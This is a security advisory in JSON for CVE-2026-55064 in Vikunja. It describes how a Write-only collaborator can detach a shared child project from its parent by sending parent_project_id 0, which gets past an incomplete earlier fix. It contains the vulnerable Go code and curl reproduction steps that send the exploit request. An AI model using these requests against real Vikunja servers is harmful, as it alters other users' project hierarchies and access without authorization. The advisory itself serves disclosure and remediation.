CVE-2026-55064: Code.vikunja.io/api Write-only User Can Detach Shared Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-44v6-7fxq-vgf4",
  "modified" : "2026-08-28T16:39:08Z",
  "published" : "2026-08-28T16:39:08Z",
  "aliases" : [ "CVE-2026-55064" ],
  "summary" : "Vikunja has an incomplete fix for CVE-2026-35595: Write-only user can detach shared project from parent hierarchy via parent_project_id=0",
  "details" : "## Summary\n\nThe fix for CVE-2026-35595 (project re-parenting privilege escalation) only gates reparent operations when `parent_project_id > 0`. A user with Write (but not Admin) permission on a shared child project can detach it from its parent by sending `parent_project_id: 0`, bypassing the Admin requirement. This severs the recursive CTE permission inheritance chain, potentially disrupting the project hierarchy and affecting inherited access for other collaborators.\n\n## Affected component\n\n- **Package:** go-vikunja/vikunja\n- **Affected versions:** v2.3.0 and later (including latest unstable v2.3.0-246-9852aff4). The fix for CVE-2026-35595 was introduced in v2.3.0 but left the detach-to-root case unpatched. Fixed in 2.4.0.\n- **Tested on:** Vikunja v2.3.0 (Docker image vikunja/vikunja:2.3.0) AND latest unstable (vikunja/vikunja:unstable, v2.3.0-246-9852aff4 built 2026-04-27)\n\n## Technical detail\n\n### Vulnerable code\n\n**File: `pkg/models/project.go` (lines 1009-1041)**\n```go\n// GHSA-2vq4-854f-5c72 / CVE-2026-35595: the recursive permission CTE\n// cascades Admin from any owned ancestor, so moving a shared child\n// under an attacker-owned root grants Admin on the child. Require\n// Admin on both sides of a reparent.\n//\n// Only gate on non-zero ParentProjectID: the generic update handler\n// binds a fresh struct, so an omitted parent_project_id is\n// indistinguishable from an explicit 0. Detach-to-root is therefore\n// out of scope here -- a proper fix needs a pointer field.\nif project.ParentProjectID > 0 {\n    // ... Admin check (lines 1019-1041) -- SKIPPED when ParentProjectID == 0\n}\n```\n\n**File: `pkg/models/project_permissions.go` (line 145)**\n```go\nif p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {\n    // reparent permission check -- SKIPPED when ParentProjectID == 0\n}\n```\n\n**File: `pkg/models/project.go` (line 1065)**\n```go\ncolsToUpdate := []string{\n    \"title\", \"is_archived\", \"identifier\", \"hex_color\",\n    \"parent_project_id\",  // <-- ALWAYS included, writes 0 to DB\n    \"position\",\n}\n```\n\n### Why it's exploitable\n\n1. The generic web handler (`pkg/web/handler/update.go:37`) creates a fresh empty `Project{}` struct -- `ParentProjectID` defaults to Go's zero value (0).\n2. When JSON body contains `\"parent_project_id\": 0`, the struct has `ParentProjectID == 0`.\n3. `CanUpdate` at line 145: `ParentProjectID != 0` is false -- reparent check skipped -- falls through to `CanWrite` which succeeds (attacker has Write).\n4. `UpdateProject` at line 1018: `ParentProjectID > 0` is false -- Admin gate skipped entirely.\n5. xorm writes `parent_project_id = 0` because `\"parent_project_id\"` is always in `colsToUpdate` with `Cols()`.\n6. The project is detached from its parent hierarchy.\n\n### Precondition checklist\n\n- [x] Attacker has authenticated account\n- [x] Attacker has Write permission on a child project (via direct share or team membership)\n- [x] The target project has a non-zero parent_project_id (it's a child of another project)\n- [x] Default Vikunja configuration (no special setup needed)\n\n### Reproduction\n\n**Prerequisites:** Two users (victim = project owner, attacker = Write-only collaborator), a parent project, and a child project shared with the attacker at Write permission.\n\n1. Authenticate as attacker:\n```bash\nTOKEN=$(curl -s -X POST http://localhost:3456/api/v1/login \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"user_a\",\"password\":\"UserAPassword1!\"}' | jq -r '.token')\n```\n\n2. Verify attacker does NOT have Admin (delete should return 403):\n```bash\ncurl -s -o /dev/null -w '%{http_code}' -X DELETE http://localhost:3456/api/v1/projects/4 \\\n  -H \"Authorization: Bearer $TOKEN\"\n# Expected: 403\n```\n\n3. Exploit -- detach project from parent:\n```bash\ncurl -s -X POST http://localhost:3456/api/v1/projects/4 \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"title\":\"Sensitive Child Project\",\"parent_project_id\":0}'\n```\n\n4. Verify detachment:\n```bash\ncurl -s http://localhost:3456/api/v1/projects/4 \\\n  -H \"Authorization: Bearer $TOKEN\" | jq '.parent_project_id'\n# Returns: 0 (was: 3)\n```\n\n### Evidence (3 independent runs)\n\n| Run | parent_project_id BEFORE | DELETE attempt (proves no Admin) | parent_project_id AFTER | Result |\n|-----|--------------------------|----------------------------------|-------------------------|--------|\n| 1 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |\n| 2 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |\n| 3 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |\n\n*Note: \"null (detached to root)\" means `parent_project_id` was set to `0` in the database, making the project a root-level project with no parent.*\n\n## Impact\n\n- **Unauthorized hierarchy modification:** A user with only Write permission can detach a child project from its parent, which should require Admin permission (as established by the CVE-2026-35595 fix for non-zero reparents).\n- **Permission inheritance disruption:** The recursive CTE permission model traverses `parent_project_id` upward. Detaching a project severs this chain, potentially causing other collaborators who inherited access through the parent to lose their permissions on the detached project.\n- **Organizational disruption:** The project moves from a structured hierarchy to a root-level project, breaking the owner's intended organizational structure.\n\n## Suggested fix\n\nUse a pointer field `*int64` for `ParentProjectID` to distinguish between \"field omitted\" (nil) and \"explicitly set to 0\" (detach). The fix commit itself acknowledges this at `project.go:1017`: \"a proper fix needs a pointer field.\"\n\nAlternatively, add a dedicated `detach` boolean field or a separate API endpoint for detaching projects, with its own Admin permission check.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.vikunja.io/api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.3.0"
      }, {
        "fixed" : "2.4.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-44v6-7fxq-vgf4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-vikunja/vikunja"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T16:39:08Z",
    "nvd_published_at" : null
  }
}